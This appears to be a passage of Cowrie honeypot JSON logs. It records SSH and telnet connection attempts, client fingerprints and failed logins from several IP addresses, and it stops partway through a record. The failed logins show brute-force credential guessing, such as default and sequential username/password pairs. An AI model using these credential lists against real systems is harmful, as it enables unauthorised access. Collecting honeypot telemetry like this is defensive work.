{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:06.094054Z","src_ip":"8.218.166.49","session":"14a3e1645a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:06.098618Z","src_ip":"8.218.166.49","session":"14a3e1645a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":59744,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e0b3a53ee27","protocol":"ssh","message":"New connection: 95.90.13.168:59744 (10.17.0.5:22) [session: 8e0b3a53ee27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:12.949052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:12.953762Z","src_ip":"95.90.13.168","session":"8e0b3a53ee27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:13.062227Z","src_ip":"95.90.13.168","session":"8e0b3a53ee27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:13.527102Z","src_ip":"95.90.13.168","session":"8e0b3a53ee27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:14.636876Z","src_ip":"95.90.13.168","session":"8e0b3a53ee27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.238.81.133","src_port":55736,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb497cc0ce69","protocol":"telnet","message":"New connection: 104.238.81.133:55736 (10.17.0.5:23) [session: cb497cc0ce69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:19.977157Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.187","src_port":51972,"dst_ip":"10.17.0.5","dst_port":22,"session":"293eacc190e2","protocol":"ssh","message":"New connection: 104.28.195.187:51972 (10.17.0.5:22) [session: 293eacc190e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:21.337416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:21.342522Z","src_ip":"104.28.195.187","session":"293eacc190e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:21.463384Z","src_ip":"104.28.195.187","session":"293eacc190e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sport","message":"login attempt [root/sport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:21.970329Z","src_ip":"104.28.195.187","session":"293eacc190e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:23.064100Z","src_ip":"104.28.195.187","session":"293eacc190e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":29470,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36b16b4f980","protocol":"ssh","message":"New connection: 213.209.159.56:29470 (159.203.135.109:22) [session: d36b16b4f980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:23.303588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:23.309566Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:23.392713Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:23.767553Z","src_ip":"8.218.166.49","session":"14a3e1645a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie","message":"login attempt [stacie/stacie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:23.791724Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie1","message":"login attempt [stacie/stacie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:24.879210Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie123","message":"login attempt [stacie/stacie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:25.964884Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:26.272045Z","src_ip":"8.218.166.49","session":"86d077eb34c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie1234","message":"login attempt [stacie/stacie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:27.049807Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stacie","password":"stacie12345","message":"login attempt [stacie/stacie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:28.135150Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:29.221375Z","src_ip":"213.209.159.56","session":"d36b16b4f980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.3","message":"Connection lost after 36.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:31.419019Z","src_ip":"8.218.166.49","session":"14a3e1645a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":56516,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb19da52253d","protocol":"ssh","message":"New connection: 94.26.106.31:56516 (159.203.135.109:22) [session: cb19da52253d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:46.549514Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:46.554240Z","src_ip":"94.26.106.31","session":"cb19da52253d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.31","src_port":56532,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab87245cb31d","protocol":"ssh","message":"New connection: 94.26.106.31:56532 (159.203.135.109:22) [session: ab87245cb31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:46.640821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:46.648468Z","src_ip":"94.26.106.31","session":"ab87245cb31d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:46.736830Z","src_ip":"94.26.106.31","session":"ab87245cb31d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:46.915802Z","src_ip":"94.26.106.31","session":"ab87245cb31d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:48.007470Z","src_ip":"94.26.106.31","session":"ab87245cb31d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.190497636795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:50.167524Z","src_ip":"104.238.81.133","session":"cb497cc0ce69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60569,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa75c90c964","protocol":"ssh","message":"New connection: 95.90.13.168:60569 (10.17.0.5:22) [session: 7aa75c90c964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:56.568367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:56.572701Z","src_ip":"95.90.13.168","session":"7aa75c90c964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:56.684802Z","src_ip":"95.90.13.168","session":"7aa75c90c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:57.150313Z","src_ip":"95.90.13.168","session":"7aa75c90c964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:58.257950Z","src_ip":"95.90.13.168","session":"7aa75c90c964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:33:58.316530Z","src_ip":"8.218.166.49","session":"6354e3aaff38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:09.550737Z","src_ip":"8.218.166.49","session":"c2d84d3aa267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:21.378325Z","src_ip":"8.218.166.49","session":"08847f83a0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:29.326982Z","src_ip":"8.218.166.49","session":"6354e3aaff38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00243067741394,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:31.538761Z","src_ip":"181.115.174.31","session":"e4a4982da62c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:37.091620Z","src_ip":"8.218.166.49","session":"6354e3aaff38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":59929,"dst_ip":"10.17.0.5","dst_port":22,"session":"adf87cc210cb","protocol":"ssh","message":"New connection: 95.90.13.168:59929 (10.17.0.5:22) [session: adf87cc210cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:41.214575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:34:41.219754Z","src_ip":"95.90.13.168","session":"adf87cc210cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com",